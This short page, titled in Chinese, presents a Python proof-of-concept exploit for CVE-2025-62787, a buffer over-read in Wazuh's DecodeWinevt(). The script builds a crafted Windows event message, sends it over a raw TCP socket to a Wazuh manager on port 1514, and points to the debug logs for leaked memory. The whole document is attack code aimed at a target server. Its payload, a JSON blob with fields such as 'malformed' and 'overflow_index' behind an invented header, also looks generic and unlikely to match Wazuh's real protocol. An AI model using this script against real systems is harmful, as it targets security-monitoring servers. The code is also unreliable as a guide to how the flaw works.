CVE-2025-62787 Wazuh DecodeWinevt缓冲区过度读取漏洞

# CVE-2025-62787 PoC - Wazuh DecodeWinevt Buffer Over-read # This PoC demonstrates sending a crafted Windows Event Log message # that triggers buffer over-read in DecodeWinevt() import socket import struct import json def create_crafted_winevt_message(): """ Create a malicious Windows Event Log message that causes buffer over-read in DecodeWinevt() due to incorrect index j """ # Message header for Wazuh agent-to-manager communication header = b'\x00\x00\x00\x01' # Message type indicator # Crafted Windows Event Log with malformed attributes winevt_data = { 'type': 'winevt', # Windows Event Log type 'message': { 'source': 'Security', # Event source 'event_id': 4624, # Windows logon event 'attributes': [ {'name': 'SubjectUserName', 'value': 'ATTACKER\x00\x00\x00\x00'}, {'name': 'TargetUserName', 'value': 'admin'}, # Malformed attribute structure that triggers incorrect index {'malformed': True, 'overflow_index': 999999} ] } } # Serialize the crafted data payload = json.dumps(winevt_data).encode('utf-8') # Construct full message with header message = header + payload return message def send_to_wazuh_manager(target_ip, target_port, message): """ Send crafted message to Wazuh manager Requires compromised agent credentials """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(message) # Receive response (may contain leaked data via mdebug2) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"Error sending message: {e}") return None def main(): # Configuration - replace with target values target_ip = "192.168.1.100" # Wazuh Manager IP target_port = 1514 # Wazuh Manager listening port print("[*] CVE-2025-62787 PoC - Wazuh DecodeWinevt Buffer Over-read") print(f"[*] Target: {target_ip}:{target_port}") # Create crafted message message = create_crafted_winevt_message() print(f"[*] Sending crafted Windows Event Log message ({len(message)} bytes)") # Send to manager response = send_to_wazuh_manager(target_ip, target_port, message) if response: print(f"[+] Response received ({len(response)} bytes)") print("[*] Check manager logs (mdebug2) for leaked memory data") if __name__ == "__main__": main()